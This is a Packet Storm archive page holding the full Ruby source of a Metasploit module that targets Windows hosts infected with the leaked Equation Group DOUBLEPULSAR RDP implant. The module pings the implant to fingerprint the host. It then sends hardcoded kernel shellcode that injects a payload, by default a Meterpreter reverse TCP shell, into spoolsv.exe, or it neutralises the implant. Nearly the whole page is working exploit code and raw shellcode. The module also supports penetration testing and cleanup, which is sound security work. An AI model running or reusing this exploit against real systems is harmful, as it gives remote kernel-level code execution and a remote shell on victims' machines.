exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

RDP DOUBLEPULSAR Remote Code Execution

RDP DOUBLEPULSAR Remote Code Execution
Posted Feb 4, 2020
Authored by Luke Jennings, Spencer McIntyre, wvu, Tom Sellers, Shadow Brokers, Equation Group | Site metasploit.com

This Metasploit module executes a Metasploit payload against the Equation Group's DOUBLEPULSAR implant for RDP. While this module primarily performs code execution against the implant, the "Neutralize implant" target allows you to disable the implant.

tags | exploit, code execution
SHA-256 | f0ef0fcf7c306ca7fdaac1b457a5965fc0fb4660b034334c65eb4de1b10073d7

RDP DOUBLEPULSAR Remote Code Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = GreatRanking

include Msf::Exploit::Remote::RDP

MAX_SHELLCODE_SIZE = 4096

def initialize(info = {})
super(update_info(info,
'Name' => 'RDP DOUBLEPULSAR Remote Code Execution',
'Description' => %q{
This module executes a Metasploit payload against the Equation Group's
DOUBLEPULSAR implant for RDP.

While this module primarily performs code execution against the implant,
the "Neutralize implant" target allows you to disable the implant.
},
'Author' => [
'Equation Group', # DOUBLEPULSAR implant
'Shadow Brokers', # Equation Group dump
'Luke Jennings', # DOPU analysis and detection
'wvu', # RDP DOPU analysis and module
'Tom Sellers', # RDP DOPU analysis
'Spencer McIntyre' # RDP DOPU analysis
],
'References' => [
['URL', 'https://github.com/countercept/doublepulsar-detection-script']
],
'DisclosureDate' => '2017-04-14', # Shadow Brokers leak
'License' => MSF_LICENSE,
'Platform' => 'win',
'Arch' => ARCH_X64,
'Privileged' => true,
'Payload' => {
'Space' => MAX_SHELLCODE_SIZE - kernel_shellcode_size,
'DisableNops' => true
},
'Targets' => [
['Execute payload (x64)',
'DefaultOptions' => {
'EXITFUNC' => 'thread',
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
}
],
['Neutralize implant',
'DefaultOptions' => {
'PAYLOAD' => nil # XXX: "Unset" generic payload
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'AKA' => ['DOUBLEPULSAR'],
'RelatedModules' => ['exploit/windows/smb/smb_doublepulsar_rce'],
'Stability' => [CRASH_OS_DOWN],
'Reliability' => [REPEATABLE_SESSION]
}
))

register_advanced_options([
OptBool.new('DefangedMode', [true, 'Run in defanged mode', true]),
OptString.new('ProcessName', [true, 'Process to inject payload into', 'spoolsv.exe'])
])
end

OPCODES = {
exec: 0x01,
ping: 0x02,
burn: 0x03
}.freeze

DOUBLEPULSAR_MAGIC = 0x19283744

# https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_osversioninfoexw
def parse_doublepulsar_ping(res)
return unless res && res.length == 288

magic, _size, major, minor, build = res.unpack('V5')
sp_major, _sp_minor, _suites, prod, arch = res[-8..-1].unpack('v3C2')

return unless magic == DOUBLEPULSAR_MAGIC

ver_str = "#{major}.#{minor}.#{build}"
sp_str = "SP#{sp_major}"

prod_str =
case prod
when 1
'Workstation'
when 2
'Domain Controller'
when 3
'Server'
end

arch_str =
case arch
when 1
'x86'
when 2
'x64'
end

"Windows #{prod_str} #{ver_str} #{sp_str} #{arch_str}"
end

def setup
super

rdp_connect
is_rdp, server_selected_protocol = rdp_check_protocol

fail_with(Failure::BadConfig, 'Target port is not RDP') unless is_rdp

case server_selected_protocol
when RDPConstants::PROTOCOL_HYBRID, RDPConstants::PROTOCOL_HYBRID_EX
fail_with(Failure::BadConfig, 'DOUBLEPULSAR does not support NLA')
when RDPConstants::PROTOCOL_SSL
vprint_status('Swapping plain socket to SSL')
swap_sock_plain_to_ssl
end
rescue Rex::ConnectionError, RdpCommunicationError => e
fail_with(Failure::Disconnected, e.message)
end

def cleanup
rdp_disconnect

super
end

def check
print_status('Sending ping to DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:ping])

unless (info = parse_doublepulsar_ping(res))
print_error('DOUBLEPULSAR not detected or disabled')
return CheckCode::Safe
end

print_warning('DOUBLEPULSAR RDP IMPLANT DETECTED!!!')
print_good("Target is #{info}")
CheckCode::Vulnerable
end

def exploit
if datastore['DefangedMode']
warning = <<~EOF


Are you SURE you want to execute code against a nation-state implant?
You MAY contaminate forensic evidence if there is an investigation.

Disable the DefangedMode option if you have authorization to proceed.
EOF

fail_with(Failure::BadConfig, warning)
end

# No ForceExploit because check is accurate
unless check == CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, 'Unable to proceed without DOUBLEPULSAR')
end

case target.name
when 'Execute payload (x64)'
print_status("Generating kernel shellcode with #{datastore['PAYLOAD']}")
shellcode = make_kernel_user_payload(payload.encoded, datastore['ProcessName'])
shellcode << rand_text(MAX_SHELLCODE_SIZE - shellcode.length)
vprint_status("Total shellcode length: #{shellcode.length} bytes")

print_status('Sending shellcode to DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:exec], shellcode)
when 'Neutralize implant'
return neutralize_implant
end

if res
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
end

print_good('Payload execution successful')
end

def neutralize_implant
print_status('Neutralizing DOUBLEPULSAR')
res = do_rdp_doublepulsar_pkt(OPCODES[:burn])

if res
fail_with(Failure::UnexpectedReply, 'Unexpected response from implant')
end

print_good('Implant neutralization successful')
end

def do_rdp_doublepulsar_pkt(opcode = OPCODES[:ping], body = nil)
rdp_send_recv(make_rdp_mcs_doublepulsar(opcode, body))
rescue Errno::ECONNRESET, RdpCommunicationError
nil
end

=begin
MULTIPOINT-COMMUNICATION-SERVICE T.125
DomainMCSPDU: channelJoinConfirm (15)
channelJoinConfirm
result: rt-domain-not-hierarchical (2)
initiator: 14120
requested: 6402
=end
def make_rdp_mcs_doublepulsar(opcode, body)
data = "\x3c" # channelJoinConfirm
data << [DOUBLEPULSAR_MAGIC].pack('V')
data << [opcode].pack('v')

if body
data << [body.length, body.length, 0].pack('V*')
data << body
end

build_data_tpdu(data)
end

# ring3 = user mode encoded payload
# proc_name = process to inject APC into
def make_kernel_user_payload(ring3, proc_name)
sc = make_kernel_shellcode(proc_name)

sc << [ring3.length].pack('S<')
sc << ring3

sc
end

def generate_process_hash(process)
# x64_calc_hash from external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
proc_hash = 0
process << "\x00"

process.each_byte do |c|
proc_hash = ror(proc_hash, 13)
proc_hash += c
end

[proc_hash].pack('l<')
end

def ror(dword, bits)
(dword >> bits | dword << (32 - bits)) & 0xFFFFFFFF
end

def make_kernel_shellcode(proc_name)
# see: external/source/shellcode/windows/multi_arch_kernel_queue_apc.asm
# Length: 780 bytes
"\x31\xc9\x41\xe2\x01\xc3\x56\x41\x57\x41\x56\x41\x55\x41\x54\x53" \
"\x55\x48\x89\xe5\x66\x83\xe4\xf0\x48\x83\xec\x20\x4c\x8d\x35\xe3" \
"\xff\xff\xff\x65\x4c\x8b\x3c\x25\x38\x00\x00\x00\x4d\x8b\x7f\x04" \
"\x49\xc1\xef\x0c\x49\xc1\xe7\x0c\x49\x81\xef\x00\x10\x00\x00\x49" \
"\x8b\x37\x66\x81\xfe\x4d\x5a\x75\xef\x41\xbb\x5c\x72\x11\x62\xe8" \
"\x18\x02\x00\x00\x48\x89\xc6\x48\x81\xc6\x08\x03\x00\x00\x41\xbb" \
"\x7a\xba\xa3\x30\xe8\x03\x02\x00\x00\x48\x89\xf1\x48\x39\xf0\x77" \
"\x11\x48\x8d\x90\x00\x05\x00\x00\x48\x39\xf2\x72\x05\x48\x29\xc6" \
"\xeb\x08\x48\x8b\x36\x48\x39\xce\x75\xe2\x49\x89\xf4\x31\xdb\x89" \
"\xd9\x83\xc1\x04\x81\xf9\x00\x00\x01\x00\x0f\x8d\x66\x01\x00\x00" \
"\x4c\x89\xf2\x89\xcb\x41\xbb\x66\x55\xa2\x4b\xe8\xbc\x01\x00\x00" \
"\x85\xc0\x75\xdb\x49\x8b\x0e\x41\xbb\xa3\x6f\x72\x2d\xe8\xaa\x01" \
"\x00\x00\x48\x89\xc6\xe8\x50\x01\x00\x00\x41\x81\xf9" +
generate_process_hash(proc_name.upcase) +
"\x75\xbc\x49\x8b\x1e\x4d\x8d\x6e\x10\x4c\x89\xea\x48\x89\xd9" \
"\x41\xbb\xe5\x24\x11\xdc\xe8\x81\x01\x00\x00\x6a\x40\x68\x00\x10" \
"\x00\x00\x4d\x8d\x4e\x08\x49\xc7\x01\x00\x10\x00\x00\x4d\x31\xc0" \
"\x4c\x89\xf2\x31\xc9\x48\x89\x0a\x48\xf7\xd1\x41\xbb\x4b\xca\x0a" \
"\xee\x48\x83\xec\x20\xe8\x52\x01\x00\x00\x85\xc0\x0f\x85\xc8\x00" \
"\x00\x00\x49\x8b\x3e\x48\x8d\x35\xe9\x00\x00\x00\x31\xc9\x66\x03" \
"\x0d\xd7\x01\x00\x00\x66\x81\xc1\xf9\x00\xf3\xa4\x48\x89\xde\x48" \
"\x81\xc6\x08\x03\x00\x00\x48\x89\xf1\x48\x8b\x11\x4c\x29\xe2\x51" \
"\x52\x48\x89\xd1\x48\x83\xec\x20\x41\xbb\x26\x40\x36\x9d\xe8\x09" \
"\x01\x00\x00\x48\x83\xc4\x20\x5a\x59\x48\x85\xc0\x74\x18\x48\x8b" \
"\x80\xc8\x02\x00\x00\x48\x85\xc0\x74\x0c\x48\x83\xc2\x4c\x8b\x02" \
"\x0f\xba\xe0\x05\x72\x05\x48\x8b\x09\xeb\xbe\x48\x83\xea\x4c\x49" \
"\x89\xd4\x31\xd2\x80\xc2\x90\x31\xc9\x41\xbb\x26\xac\x50\x91\xe8" \
"\xc8\x00\x00\x00\x48\x89\xc1\x4c\x8d\x89\x80\x00\x00\x00\x41\xc6" \
"\x01\xc3\x4c\x89\xe2\x49\x89\xc4\x4d\x31\xc0\x41\x50\x6a\x01\x49" \
"\x8b\x06\x50\x41\x50\x48\x83\xec\x20\x41\xbb\xac\xce\x55\x4b\xe8" \
"\x98\x00\x00\x00\x31\xd2\x52\x52\x41\x58\x41\x59\x4c\x89\xe1\x41" \
"\xbb\x18\x38\x09\x9e\xe8\x82\x00\x00\x00\x4c\x89\xe9\x41\xbb\x22" \
"\xb7\xb3\x7d\xe8\x74\x00\x00\x00\x48\x89\xd9\x41\xbb\x0d\xe2\x4d" \
"\x85\xe8\x66\x00\x00\x00\x48\x89\xec\x5d\x5b\x41\x5c\x41\x5d\x41" \
"\x5e\x41\x5f\x5e\xc3\xe9\xb5\x00\x00\x00\x4d\x31\xc9\x31\xc0\xac" \
"\x41\xc1\xc9\x0d\x3c\x61\x7c\x02\x2c\x20\x41\x01\xc1\x38\xe0\x75" \
"\xec\xc3\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52" \
"\x20\x48\x8b\x12\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x45\x31\xc9" \
"\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1" \
"\xe2\xee\x45\x39\xd9\x75\xda\x4c\x8b\x7a\x20\xc3\x4c\x89\xf8\x41" \
"\x51\x41\x50\x52\x51\x56\x48\x89\xc2\x8b\x42\x3c\x48\x01\xd0\x8b" \
"\x80\x88\x00\x00\x00\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20" \
"\x49\x01\xd0\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\xe8\x78\xff" \
"\xff\xff\x45\x39\xd9\x75\xec\x58\x44\x8b\x40\x24\x49\x01\xd0\x66" \
"\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48" \
"\x01\xd0\x5e\x59\x5a\x41\x58\x41\x59\x41\x5b\x41\x53\xff\xe0\x56" \
"\x41\x57\x55\x48\x89\xe5\x48\x83\xec\x20\x41\xbb\xda\x16\xaf\x92" \
"\xe8\x4d\xff\xff\xff\x31\xc9\x51\x51\x51\x51\x41\x59\x4c\x8d\x05" \
"\x1a\x00\x00\x00\x5a\x48\x83\xec\x20\x41\xbb\x46\x45\x1b\x22\xe8" \
"\x68\xff\xff\xff\x48\x89\xec\x5d\x41\x5f\x5e\xc3"
end

def kernel_shellcode_size
make_kernel_shellcode('').length
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close